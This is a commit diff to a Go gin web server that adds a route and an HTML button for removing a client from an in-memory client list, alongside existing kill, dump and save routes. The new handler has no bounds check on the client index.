Add option to delete clients from list

cmd/httpServer.go

@@ -40,6 +40,7 @@ func WebServer() {
 	r.POST("/kill/:clientid", sendKillswitch)
 	r.GET("/dump", dumpClients)
 	r.POST("/save", saveClients)
+	r.POST("/remove/:clientid", removeClient)
 	r.Run(":" + WebPort)
 }
 
@@ -68,6 +69,22 @@ func saveClients(c *gin.Context) {
 	log.Println("SUCCESS!")
 }
 
+func removeClient(c *gin.Context) {
+	clientID := c.Param("clientid")
+	intClientID, err := strconv.Atoi(clientID)
+	if err != nil {
+		c.String(http.StatusInternalServerError, "Error happened fetching client: %v", err)
+		return
+	}
+	log.Printf("Removing client %v\n", intClientID)
+	if len(clientList) != 1 {
+		clientList = append(clientList[:intClientID], clientList[intClientID+1:]...)
+	} else {
+		clientList = nil
+	}
+	log.Printf("Success!")
+}
+
 func marshalClients() ClientJSON {
 	jsonClients := ClientJSON{Date: time.Now()}
 	for _, v := range clientList {

cmd/templates/index.html

@@ -50,6 +50,9 @@
           <td rowspan=2>
             <a href="/" hx-post="kill/{{ .ClientID }}" hx-swap="none" id="pointer"><b>KILL</b></a>
           </td>
+          <td rowspan=2>
+            <a href="/" hx-post="remove/{{ .ClientID }}" hx-swap="none" id="pointer"><b>REMOVE</b></a>
+          </td>
         </tr>
         <tr>
           <td>{{ .ClientID }}</td>